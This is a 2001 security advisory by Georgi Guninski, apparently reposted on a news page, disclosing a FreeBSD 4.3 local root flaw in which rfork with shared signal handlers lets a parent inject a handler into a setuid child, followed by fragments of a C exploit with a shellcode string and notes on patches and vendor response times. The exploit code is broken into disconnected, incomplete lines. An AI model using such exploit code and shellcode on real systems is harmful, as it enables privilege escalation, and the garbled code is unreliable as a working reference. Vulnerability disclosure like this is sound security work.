In the news
|Georgi Guninski security advisory #48, 2001
FreeBSD 4.3 local root, yet Linux and *BSD much better than Windows
FreeBSD 4.3 and probably earlier versions.
Date: 10 July 2001
This Advisory is Copyright (c) 2001 Georgi Guninski.
You may distribute it unmodified.
You may not modify it and distribute it or distribute parts
of it without the author's written permission.
The information in this advisory is believed to be true based on
experiments though it may be false.
The opinions expressed in this advisory and program are my own and
not of any company. The usual standard disclaimer applies,
especially the fact that Georgi Guninski is not liable for any damages
caused by direct or indirect use of the information or functionality
provided by this advisory or program. Georgi Guninski bears no
responsibility for content or misuse of this advisory or program or
any derivatives thereof.
There is local root compromise in FreeBSD 4.3 due to design flaw
which allows injecting signal handlers in other processes.
The problem is rfork(RFPROC|RFSIGSHARE) which shares the signal handlers.
If the child does exec() on a setuid program and then the parent set
signal handler, the signal handler is replicated in the child.
The address of the signal handler may be in the environment and after
a signal to the child our signal handler gets executed.
Examine the code for more information.
Examine the source and don't send me mail if you get SEGV.
FreeBSD 4.3 local root exploit using shared signals.
Written by Georgi Guninski http://www.guninski.com
#define MYSIG SIGINT
//exec "/tmp/sh", shellcode gotten from the internet
unsigned char bsdshell = "\x90\x90\x90\x90\x90\x90\x90\x90"
extern char **environ;
int main(int ac,char **av)
printf("vvfreebsd. Written by Georgi Guninski\n");
printf("shall jump to %x\n",vv1);
// /usr/bin/login and rlogin work for me. ping
gives nonsuid shell
perror("exec setuid failed");
As far as I know patches for this problem are commited for both
-current and -stable.
From "CVS log for src/sys/kern/kern_exec.c"
[MFC: do not share sigs after an exec]
The main diff seems to be at:
FreeBSD was informed on 2 July 2001 (sent them broken attachment on
Some comparison of vendor response times from my personal experience:
FreeBSD seem to have fixed this in 7 days.
OpenBSD fixed my previous advisory in 6 days.
Microsoft are much slower.